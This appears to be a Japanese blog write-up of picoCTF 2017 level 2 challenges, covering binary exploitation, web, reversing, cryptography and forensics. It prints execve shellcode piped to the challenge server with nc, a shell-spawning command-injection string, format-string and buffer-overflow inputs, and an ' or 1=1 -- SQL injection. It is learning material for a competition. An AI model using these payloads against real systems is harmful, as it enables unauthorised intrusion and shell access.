picoCTF という初心者向けのCTFのwrite up
level2になって難しくなってきた。
MISC
Yarn
I was told to use the linux strings command on yarn, but it doesn't work. Can you help? I lost the flag in the binary somewhere, and would like it back
Strings
コマンドをyarn
というファイルに使えと言われたが、上手くいかない、助けてくれ、とのこと。
このファイルにflagの文字列が入っているらしい。
Strings
コマンドは -n
オプションで抽出する文字列の最低長を指定でき、デフォルトでは4文字になっている。
つまり、デフォルトでは3文字以下の文字列は抽出されない。
よって、strings -n 3 yarn
でflagゲット。
Mystery Box
You've found a mystery machine with a sticky note attached to it! Oh, there's also this picture of the machine you found.
note
には謎の文字列が書いてあり、picture
には謎のマシンが描かれている。
とりあえず画像をgoogleの画像検索にかけると、enigma 1939
がヒット。
どうやらenigma
暗号という、ドイツの暗号らしい。謎の文字列もドイツ語のようだ。
文字列をgoogle翻訳にかけるとそれっぽい情報が得られた。
秘密:PXQQ TAMY YDBC WGYE LVN
リバースローラー:B
基本的な位置:PPP
リングの位置:LOG
プラグボード:G-L、H-F
デコーダもネットに転がっていた ので、これを使った。
DECODE
をクリックして、Ciphertext
にPXQQ TAMY YDBC WGYE LVN
を入力。
ROTOR1
を I ROTOR 2
を II ROTOR 3
をIII にして、
POSITION
は数字は1~26だったのでアルファベットに対応していると判断。
問題のnote
よりPPPらしいので3つとも17
に設定。
RING
もLOGに合わせてそれぞれ数値を設定。
REFLECTOR
はリバースローラーのようなので、B
PLUGBOARD
に gl hf
と入力してフラグゲット!
BINARY EXPLOITATION
Shellz
You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:38782.
ソースコードはよくわからないが、どうやらシェルコード を送り込め、ということらしい。
シェルコードは、ざっくり言えばシェルを起動するための機械語のコードである。
シェルコードなんていくらでもある、とヒントには書いているのでググったら、ももいろテクノロジー さんのところにあった。
"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
これをパイプでnc shell2017.picoctf.com 38782
に渡してあげれば良いのだが、シェルを起動した後にコマンドを打ち込む必要がある。
これをするには、cat
コマンドと ハイフンを使った便利な標準入出力指定でのコマンドライン を用いる。
cat -
これを実行すると、入力した文字がそのまま出力される。
よって、echo -e
で送信したのち、cat -
を実行することで、シェルを操作できる。echo
の -e
は16進数を\x31
のようなエスケープ文字を変換するためのオプションである。
()
も必須である。これがないと、echo
の実行が先にされ、その後cat - | nc
の部分が実行されるため、シェルコードがnc
に渡されない。
(echo -e "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" ; cat -) | nc shell2017.picoctf.com 38782
Shells
How much can a couple bytes do? Use shells! Source. Connect on shell2017.picoctf.com:63545.
急にレベルが上がった気がする。
今回もシェルコード。今回は10バイトしか送れないため、工夫が必要である。
ここで、ソースコードを見て見ると、win
という関数を実行すれば良さそうである。
まず、win
のアドレスを調べる必要がある。
linux環境でgdb
で調べれば良い。使い方
p 関数名
とすると、関数のアドレスがわかる。
gdb shells
(gdb) p win
これにより、win
関数の開始アドレスが0x08048540
だということがわかる。
あとは、シェルコードを書けば 良い。
まずcall 0x08048540
という命令が思い浮かぶが、call
関数は相対アドレスで呼び出すため、これではうまくいかない。
そこで、ret
関数を使う。
Guess The Number
Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:20446.
ソースコードを見てみる。
scanf("%32s", buf);
val = strtol(buf, NULL, 10);
printf("You entered %d. Let's see if it was right...\n", val);
val >>= 4;
((void (*)(void))val)();
入力した数値をstrtol
関数に渡して、4bit右シフトした後 、そのアドレスの関数を実行している。
この4bitシフトに全然気づかず時間溶かした、、。
strtol
関数は、文字列をlong型に変換する関数らしい。
最後の((void (*)(void))val)();
がややこしい。
まずvoid (*)(void)
だが、(*)
は関数へのポインタを表しその関数は(void)
を引数にとり、返り値がvoid
ということらしい。
(void (*)(void))val
で val
を先の関数へのポインタ
型にキャストし、最後の()
で関数を実行している。
今回もwin
関数があるので、そのアドレスをval
に設定すれば良さそうである。
win
関数のアドレスを先の問題と同じように求めると、0x804852b
であるので、これを4bit左シフト(0x804852b0
)して10進数に直した数値を入力してみる。
echo $((0x804852b << 4)) #2147483647
しかし、うまくいかない。
gdbでデバッグしてみる。
入力した値は4bit右シフトし、eax
レジスタに格納されているので、i r
コマンドでレジスタを見る。
gdb guess_num
(gdb) run
(gdb) 2147483647
(gdb) i r
eax
レジスタの値は0x7ffffff
となっている。
これは、long 型は符号付きであるため、最上位ビットは符号に使われ、
0x7fffffff
までしか扱えないためである。
ここで、ヒントに書いてあるように、負の数を入力すれば、0x804852b0
という値にすることができる。
そのためには、0x100000000
を引けば良い。
echo $((0x804852b0 - 0x100000000)) # -2142743888
この値を入力すれば、無事シェルが起動し、cat flag.txt
でクリア。
Ive Got A Secret
Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:39169.
FSA(Format String Attack) の問題。
ソースを見て見ると、このプログラムは以下のような動きをしている。
-
/dev/urandom
から乱数を読み出し、secret
に代入 - ユーザからの入力を受け付け、そのまま出力
- ユーザからの入力を受け付け、
secret
と等しければflag
を表示
/dev/urandom
は乱数を取得するために使えるらしい。(https://ja.wikipedia.org/wiki//dev/random)
この2
の手順において、FSAが使えるため、ここでsecret
の中身を表示させれば良い。
stackの構成を見るため、gdb-peda を用いる。
gdb-pedaはgdbの拡張で、様々な便利機能が使える。
(gdb-peda) disas main
でアセンブリ言語を見ると、0x080486a3 <+184>: call 0x8048470 <fgets@plt>
の行で、一度目の入力を行い、0x080486b3 <+200>: call 0x8048450 <printf@plt>
の行でその内容を出力している。
Dump of assembler code for function main:
0x080485eb <+0>: lea ecx,[esp+0x4]
0x080485ef <+4>: and esp,0xfffffff0
0x080485f2 <+7>: push DWORD PTR [ecx-0x4]
0x080485f5 <+10>: push ebp
.
.
.
0x08048693 <+168>: mov eax,ds:0x8049b00
0x08048698 <+173>: sub esp,0x4
0x0804869b <+176>: push eax
0x0804869c <+177>: push 0x40
0x0804869e <+179>: push 0x8049b40
0x080486a3 <+184>: call 0x8048470 <fgets@plt>
0x080486a8 <+189>: add esp,0x10
0x080486ab <+192>: sub esp,0xc
0x080486ae <+195>: push 0x8049b40
0x080486b3 <+200>: call 0x8048450 <printf@plt>
0x080486b8 <+205>: add esp,0x10
ここで%x,%x,%x,...
のようなFSAを行うと、スタックの2番目、3番目、... の値が表示される。
また、secret
はread
関数の第二引数を見ればスタックのどのアドレスに格納されているかがわかる。
read(fd, &secret, sizeof(int))
0x08048634 <+73>: push 0x4
0x08048636 <+75>: lea eax,[ebp-0x10]
0x08048639 <+78>: push eax
0x0804863a <+79>: push DWORD PTR [ebp-0xc]
0x0804863d <+82>: call 0x8048440 <read@plt>
0x08048642 <+87>: add esp,0x10
引数はcall
命令の前に第3引数-> 第2引数-> 第1引数の順でpush
されるので、第二引数はeax
つまりその前でlea
命令でアドレスを計算している ebp-0x10
がsecret
が格納されているアドレスとなる。
このebb-0x10
がprintf
関数の実行時にスタックの何番目にあたるか調べる。
gdb-pedaでstart
したあとにb *0x080486b3
とブレークポイントを仕掛け、c
コマンドを使うことで、そのアドレスまで実行できる。
printf
関数まで実行する前に、fgets
関数が実行されるので、入力を求められる。
ここでは、%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
とFSAを仕掛けて見る。
この状態で、stack n
とコマンドを入力することで、n個のスタックの中身を見ることができる。
stack 11
とすると、以下のようなスタックの状態となっている。
0000| 0xbffffb30 --> 0x8049b40 ("%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x\n")
0004| 0xbffffb34 --> 0x40 ('@')
0008| 0xbffffb38 --> 0xb7fc55c0 --> 0xfbad2288
0012| 0xbffffb3c --> 0x8048792 (<__libc_csu_init+82>: add edi,0x1)
0016| 0xbffffb40 --> 0x1
0020| 0xbffffb44 --> 0xbffffc04 --> 0xbffffd21 ("/home/vagrant/work/picoctf/level2/secret")
0024| 0xbffffb48 --> 0xf3903136
0028| 0xbffffb4c --> 0x3
0032| 0xbffffb50 --> 0xb7fe79a0 (<_dl_fini>: push ebp)
0036| 0xbffffb54 --> 0xbffffb70 --> 0x1
0040| 0xbffffb58 --> 0x0
0xbffffb30
がスタックの1番目であり、ebp-0x10
( = 0xbffffb48
) はスタックの7番目であることがわかる。
つまり、%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
と入力した場合、スタックの2番目以降の内容が順に表示されるので、6番目に表示される内容がsecret
に一致する。
実際、そのままgdb-pedaでni
コマンドでprintf
文を実行させるとスタックの2番目以降の値が表示されているのが分かる。
これで攻撃手法がわかったので、あとはnc
コマンドののち、%x,%x,%x,%x,%x,%x
と打ち込んで表示される6番目の値を入力すればflagゲット。
Flagsay 1
I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:20230.
ソースコードを見てみる。
- ユーザの入力を受け付ける
- 旗の形のアスキーアートの文字列
flag
に対し、旗の内側にユーザの入力した文字列を埋め込む -
/bin/echo flag
を実行
といった内容である。
プログラムでsystem
を実行してくれているので、/bin/sh
を実行できれば勝ちである。
3
の実行する部分をよく見て見ると、"/bin/echo \"%s\"\n"
という文字列の%s
がflag
に置き換わった文字列が実行されている。
";/bin/sh #
という文字列を入力してあげれば、flag
は以下のようになり、#
以降はコメントとして無視されるため、/bin/echo " _ //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //";bin/sh # ...
という実行になり、シェルが起動する。
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//";bin/sh # /
// /
// /
// /
// /
// /
//___________________________________/
//
//
//
//
//
//
あとはいつも通りcat flag.txt
でクリア。
VR Gear Console
Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/5206d6e095708fbcc2dfa33cd2a8b819
バッファオーバーフローの問題。
cat vrgearconsole.c
でソースコードを見てみると、login()
関数内で、gets
関数でユーザの入力を受け取る際に文字数のチェックをしていないので、オーバーフローが起こせる。
username
の直前にaccesslevel
が宣言されているので、メモリ上ではusername
の直後にaccesslevel
が存在しており、usernameのオーバーフロー分がそのままaccesslevel
を書き換えることになる。
ここでは、accesslevel < 0x30
であればシェルを起動してくれるので、ASCIIコードが0x30
より小さい文字列をオーバーフローさせれば良い。
!"#$%&'()
などの文字列がそれにあたるので、username
に aaaaaaaaaaaaaaaa!
などと入力し、適当なpassword
を入力すればシェルを起動できる。
WEB EXPLOITATION
My First SQL
I really need access to website, but I forgot my password and there is no reset. Can you help?
SQLインジェクション。
username に'
と打ち込むと、親切にクエリ文を表示してくれる。
以下のコマンドでOK
' or 1=1 --
TW_GR_E1_ART
Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one...? Check it out here.
ソースコードが見れてしまうため、チートができるよって話。
node.jsではpackage.json
にdependencies
やスタートコマンドが記述されているらしい。
そこで、問題のURLの後に/package.json
を追記すると、ファイルが見れる。
どうやらserver/serv.js
が起動用のjsのようである。
そこで、URLに今度は /server/serv.js
を追記して見てみる。
require("./game")(app, io);
と記述してあるので、server/game.js
がメインのjsらしい。
server/game.js
のソースコードでflag
を検索すると、以下のような箇所があり、
どうやらitem のeffect.type が revealFlag
でcheck == 64
の時にフラグが表示されるようである。
for(var i = 0; i < entity.items[action.item].effects.length; i++){
var effect = entity.items[action.item].effects[i];
var outcome = {
type: effect.type,
entity: {
id: entity.id,
name: entity.name
}
};
switch(effect.type){
.
.
.
case "revealFlag":
if (entity.items[action.item].effects[i].check == 64) {
outcome.flag = process.env["PICO_CTF_FLAG"];
}
break;
}
このrevealFlag
を他のスクリプトで探していると、config.js
で発見。
createFlag
関数の第一引数が check
のようなので、createFlag
関数の第一引数に64を与えているところをみれば良い。
function createFlag(check, location) {
return {
name: "Flag",
description: "Gives you the flag... maybe.",
location: location,
use: 0,
id: check + 100,
sprite: "flag",
effects: [
{
type: "revealFlag",
check: check
},
{
type: "destroyItems"
}
]
};
}
createFlag
関数を呼び出しているのは以下の箇所。
第一引数に64を与えている時、r = 13, c = 5 となる。
このr, c はどうやら4階でのマップでの座標のようなので、4階まで進み、その座標のflagを取って使用すれば良い。
items: Array.from(new Array(83), (_, idx) => {
if (idx >= 2) {
idx++
}
if (idx >= 77) {
idx++;
}
var r = Math.floor(idx / 5) + 1;
var c = (idx % 5) + 1;
return createFlag(idx, { r: r, c: c });
}),
TW_GR_E2_EoTDS
Given the relative success of the first release, it was no surprise that a second installment in the TW:GR series was released. I can't beat this one either, though... those darn spatulas put an induction cooktop in the floor so I can't get to the flag! Can you get it for me? You can play the game here.
これだけ解けん。
前の問題同様、ソースコードを見て解析するようなのだが、、。
前の問題同様、4階にフラグがあるが、壁があってフラグにたどり着くことができない。
代わりに、渦巻きのマスを通過できる敵をフラグまでたどり着かせ、その後敵を倒せばフラグが手に入るらしい。
ai.js
に敵の動きがコーディングされているので、それを解析して敵の動きをコントロールしろ、ということだ。
このコントロールが、どうすればいいか全然わからない。
1回たまたまうまく行ったが、敵を倒す前に時間切れになってしまった、、。
REVERSE ENGINEERING
A Thing Called the Stack
A friend was stacking dinner plates, and handed you this, saying something about a "stack". Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df
プログラムの最後の行でのスタックの位置(esp)とreturn アドレスが格納されているアドレスとの差を答えよ、という問題。
foo:
pushl %ebp
mov %esp, %ebp
pushl %edi
pushl %esi
pushl %ebx
sub $0x12c, %esp
movl $0x1, (%esp)
movl $0x2, 0x4(%esp)
movl $0x3, 0x8(%esp)
movl $0x4, 0xc(%esp)
このfoo
関数の1行目の時点では、リターンアドレスがスタックの一番上にあり、そこからpush
のたびに4ビットずつスタックのアドレスは減っていくので、以下の4つのpush
命令で4 * 4 = 0x10
の減少。
pushl %ebp
mov %esp, %ebp
pushl %edi
pushl %esi
pushl %ebx
さらに、sub $0x12c, %esp
の命令で0x12c
減少しているので、この合計がflag。
Programmers Assemble
You found a text file with some really low level code. Some value at the beginning has been X'ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df
.global main
main:
mov $XXXXXXX, %eax
mov $0, %ebx
mov $0x5, %ecx
loop:
test %eax, %eax
jz fin
add %ecx, %ebx
dec %eax
jmp loop
fin:
cmp $0x7ee0, %ebx
je good
mov $0, %eax
jmp end
good:
mov $1, %eax
end:
ret
このプログラムが、return 1
となるようにXXXXXXX
に数字を入れてくれ、とのこと。
返り値はeax
に格納されるので、good
にジャンプするようにすれば良さそうである。
fin
を見てみると、ebx
が0x7ee0
に等しければgood
に飛び、等しくなければeax = 0
としてend
に飛んでいる。
fin:
cmp $0x7ee0, %ebx
je good
mov $0, %eax
jmp end
よってその前の部分でebx
を0x7ee0
にすれば良さそうだ。
loop
を見ると、eax
を1ずつ引いてeax
が0になるまでループさせ、ループの度にebx
からecx
を引いている。
test eax, eax
はjz
とセットで、eax
が0 の時のみjz
でジャンプする、という命令である。
main
を見ると、ebx = 0
, ecx = 0x5
と設定しているので、ループは0x7ee0 / 0x5
回まわせば良い。
Cryptography
SoRandom
We found sorandom.py running at shell2017.picoctf.com:19789. It seems to be outputting the flag but randomizing all the characters first. Is there anyway to get back the original flag?
乱数の種の話。
一般的なプログラミング言語では、同じ種で初期化を行えば、同じ乱数列を発生する。
今回の問題では乱数を用いてflagを暗号化しているが、その種がわかっている(random.seed("random")
)ので、同じ乱数を再現できる
。
# !/usr/bin/python -u
import random,string
flag = "FLAG:"+open("flag", "r").read()[:-1]
encflag = ""
random.seed("random")
for c in flag:
if c.islower():
#rotate number around alphabet a random amount
encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
elif c.isupper():
encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
elif c.isdigit():
encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
else:
encflag += c
print "Unguessably Randomized Flag: "+encflag
乱数を加えて、文字列をずらしているので、+random.randrange
を-random.randrange
に置き換えれば良い 。
flag の中身("FLAG:"+open("flag", "r").read()[:-1]
) を"BNZQ:4pg33e44sdu4wu8198y15q685vpx8041"
に変えて、元のコードを再び実行すればflagゲット。
LeakedHashes
Someone got hacked! Check out some service's password hashes that were leaked at hashdump.txt! Do you think they chose strong passwords? We should check... The service is running at shell2017.picoctf.com:4534!
MD5 の話。
MD5のデコーダ にパスワードのハッシュをぶち込んだら、何個かデコードできるのがある。
そのパスワードでログインすればOK。
Weird RSA
We recovered some data. It was labeled as RSA, but what in the world are "dq" and "dp"? Can you decrypt the ciphertext for us?
RSA-CRTというやつの話。
CRTというのは中国剰余定理というものらしく、RSAの計算の簡単に使えるらしい。
秘密鍵として、$d_q, d_p, qinv$ を持っておくことで、以下の式で暗号文cから平文mを復元できるらしい。参考
$m \equiv c^{d_q} + (c^{d_p}-c^{d_q})×qinv×q\pmod{pq}$
今回の問題では、qinv は与えられていないが、$qinv = q^{-1}\mod p$ なので求めることができる。
import gmpy2
from Crypto.Util.number import long_to_bytes
def decrypt(c, p, q, dp, dq):
qinv = gmpy2.invert(q, p)
m1 = pow(c, dp, p)
m2 = pow(c, dq, q)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
return long_to_bytes(m)
平文m はlong_to_bytes
で文字列に復号できる。
Forensics
Meta Find Me
Find the location of the flag in the image: image.jpg. Note: Latitude and longitude values are in degrees with no degree symbols,/direction letters, minutes, seconds, or periods. They should only be digits. The flag is not just a set of coordinates - if you think that, keep looking!
exifの問題。
jpgにはexif情報というのがついていることがあり、撮影場所のGPS情報など諸々の情報が得られる。
exif確認くん というツールで見れたりするが、今回はうまく使えなかったので、
exiftool
をmacに導入した。
brew install exiftool
でexiftool image.jpg
すれば見れる。
flag is not just a set of coordinates らしく、 keep looking ということなので、exif情報を全部眺めていくと、
comment
の部分にflagのフォーマットが書いてあるので、それに座標を当てはめれば良い。
Little School Bus
Can you help me find the data in this littleschoolbus.bmp?
むずくね?
タイトルからLSBを連想しろということらしい。ヒントにleast significant bit と書いてあるけど。
バイナリファイルの扱い:https://trailofbits.github.io/ctf/forensics/ より引用
Writing or reading a file in binary mode:
f = open('Reverseit', "rb")
s = f.read()
f.close()
f = open('ItsReversed', "wb")
f.write(s[::-1])
f.close()
The bytearray type is a mutable sequence of bytes, and is available in both Python 2 and 3:
>>> s = bytearray(b"Hello World")
>>> for c in s: print(c)
...
72
101
108
108
111
32
87
111
114
108
100
>>>
You can also define a bytearray from hexidecimal representation Unicode strings:
example2 = bytearray.fromhex(u'00 ff')
>>> example2
bytearray(b'\x00\xff')
>>> example2[1]
255
The bytearray type has most of the same convenient methods as a Python str
or list
: split(), insert(), reverse(), extend(), pop(), remove(), etc.
Reading a file into a bytearray for processing:
data = bytearray(open('challenge.png', 'rb').read())
ということで、data = bytearray(open('littleschoolbus.bmp', 'rb').read())
でバイナリとして画像を読み込む。
LSBを抽出するということは、バイトごとに1と&
をとれば良い。
data = bytearray(open('littleschoolbus.bmp', 'rb').read())
lsb = ''
for byte in data:
lsb += str(byte & 1)
これで2進数の数列が得られるので、1バイト(8bit)ごとに文字列に変換する。
lsb_bytes = [lsb[i:i+8] for i in range(0, len(lsb), 8)]
out = ''
for byte in lsb_bytes:
out += chr(int(byte, 2))
print(out)
しかし、うまくいかない。
どうやら、ファイルのヘッダ部分の54バイトはデータではないので、バイナリから取り除く必要があるらしい。
LSBを抽出しているfor byte in data:
をfor byte in data[54:]
として、ヘッダ部分を削る。
data = bytearray(open('littleschoolbus.bmp', 'rb').read())
lsb = ''
for byte in data[54:]:
lsb += str(byte & 1)
lsb_bytes = [lsb[i:i+8] for i in range(0, len(lsb), 8)]
out = ''
for byte in lsb_bytes:
out += chr(int(byte, 2))
print(out)
これでflagゲット。
Just Keyp Trying
Here's an interesting capture of some data. But what exactly is this data? Take a look: data.pcap
これ初見の人は無理じゃね。キーボードのUSB転送のプロトコルとかわからんくね。
セキュリティコンテストのためのctf問題集 の問題8と同じような問題なので、同じコードを使えば解ける。
from scapy.all import *
keymap = {
0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'),
0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
0x31: ('\\', '|'), 0x32: (';', ':'), 0x33: ("\'", '\"'),
0x34: ('`', '~'), 0x35: (',', '<'), 0x36: ('.', '>'),
0x37: ('/', '?'), 0x38: ('/', '?')
}
def read_usbdata_from_pcap():
pcap = rdpcap("data.pcap")
usb_data = []
for pkt in pcap:
buf = pkt['Raw'].load
usb_data.append(buf[27:])
return usb_data
def analyze_usb_data(usb_data):
flag = ""
for d in usb_data:
if d[2] == 0x00 or not 0x00 in d[3:8]:
# No event
continue
if d[0] == 0x02 or d[0] == 0x20:
# press shift-key
# binary -> int
c = keymap[d[2]][1]
flag += c
else:
# not press shift-key
# binary -> int
c = keymap[d[2]][0]
flag += c
print(flag)
def main():
data = read_usbdata_from_pcap()
analyze_usb_data(data)
if __name__ == '__main__':
main()
MASTER CHALLENGE
Missing Identity
Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z.
forensicsの問題。
fileが与えられる。
とりあえずfile
コマンドで見てみるも、data
としかわからない。
strings
コマンドを使うと、.png
という文字が何個か見える。
複数のファイルが含まれていそうなので、binwalk
をかけてみると、zip
ファイルであることが分かる。
バイナリエディタでファイルを開くと、ファイルの戦闘部分がXXXXXX
となっており、これを適切な値にしろ、ということが分かる。
この前のbeginners seccon 2018 にもあったな。
zip ファイルのマジックナンバーに合わせて 50 4b 03 04 0a 00
に書き換えればzipファイルになるので、
拡張子をzipに変更して解凍すれば、flag.pngに答えが書いてある。
mac ユーザーなのでバイナリエディタはhexedit
を使った。